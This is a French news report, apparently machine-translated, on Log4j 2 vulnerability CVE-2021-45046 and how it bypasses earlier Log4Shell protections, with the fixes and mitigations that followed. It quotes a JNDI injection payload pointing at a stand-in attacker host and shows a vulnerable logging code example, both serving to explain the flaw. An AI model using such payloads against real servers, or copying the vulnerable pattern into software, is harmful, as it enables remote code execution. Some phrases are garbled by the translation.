Une autre vulnérabilité a été identifiée dans l'implémentation des substitutions JNDI dans la bibliothèque Log4j 2 (CVE-2021-45046), qui survient malgré les correctifs ajoutés dans la version 2.15 et indépendamment de l'utilisation du paramètre « log4j2.noFormatMsgLookup » pour la protection. Le problème est dangereux principalement pour les anciennes versions de Log4j 2, protégées par le flag "noFormatMsgLookup", car il permet de contourner la protection contre une vulnérabilité précédente (Log4Shell, CVE-2021-44228) qui permet d'exécuter votre code sur le serveur. serveur. Pour les utilisateurs de la version 2.15, l'exploitation se limite à créer les conditions nécessaires au crash de l'application en raison de l'épuisement des ressources disponibles.
La vulnérabilité se produit uniquement sur les systèmes qui utilisent des recherches de contexte telles que ${ctx:loginId} ou des mappages de contexte de thread tels que %X, %mdc et %MDC pour la journalisation. L'opération revient à créer des conditions pour la sortie des données contenant des substitutions JNDI dans le journal lors de l'utilisation de requêtes contextuelles ou de modèles MDC dans l'application qui définissent les règles de formatage de la sortie dans le journal.
Les chercheurs de LunaSec ont noté que pour les versions de Log4j inférieures à 2.15, cette vulnérabilité peut être utilisée comme nouveau vecteur d'attaque Log4Shell qui conduit à l'exécution de code si des expressions ThreadContext sont utilisées lors de la sortie vers le journal, dans lequel des données externes entrent, indépendamment de l'inclusion pour protéger le drapeau " noMsgFormatLookups" ou le modèle "%m{nolookups}".
Le contournement de la protection se résume au fait qu'au lieu d'une substitution directe "${jndi:ldap://attacker.com/a}", cette expression est remplacée par la valeur d'une variable intermédiaire utilisée dans les règles de formatage de la sortie vers le enregistrer. Par exemple, si la requête contextuelle ${ctx:apiversion} est utilisée lors de la sortie vers le journal, alors l'attaque peut être effectuée en remplaçant les données "${jndi:ldap://attacker.com/a}" dans le valeur écrite dans la variable apiversion. Exemple de code vulnérable : appender.console.layout.pattern = ${ctx:apiversion} - %d{aaaa-MM-jj HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") public String index (@RequestHeader("X-Api-Version") String apiVersion) { // La valeur de l'en-tête HTTP "X-Api-Version" est transmise au ThreadContext ThreadContext.put(" apiversion", apiVersion ); // Lors de la sortie dans le journal, la valeur externe de l'apiversion sera traitée en utilisant la substitution ${ctx:apiversion} logger.info("Reçu une demande de version de l'API"); return "Bonjour tout le monde !" ; }
Dans Log4j 2.15, la vulnérabilité pourrait être exploitée pour effectuer des attaques DoS lors de la transmission de valeurs au ThreadContext, ce qui entraînerait une boucle du modèle de formatage de sortie.
Les mises à jour 2.16 et 2.12.2 ont été publiées pour bloquer la vulnérabilité. Dans la branche Log4j 2.16, en plus des correctifs implémentés dans la version 2.15 et liant les requêtes JNDI LDAP à "localhost", la fonctionnalité JNDI est complètement désactivée par défaut et la prise en charge des modèles de substitution de message a été supprimée. Comme solution de sécurité, il est suggéré de supprimer la classe JndiLookup du chemin de classe (par exemple, "zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class") .
Vous pouvez suivre l'apparition des correctifs dans les packages sur les pages des distributions (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) et des fabricants de plateformes Java (GitHub, Docker, Oracle, vmWare, Broadcom et Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure, etc.).
Source: opennet.ru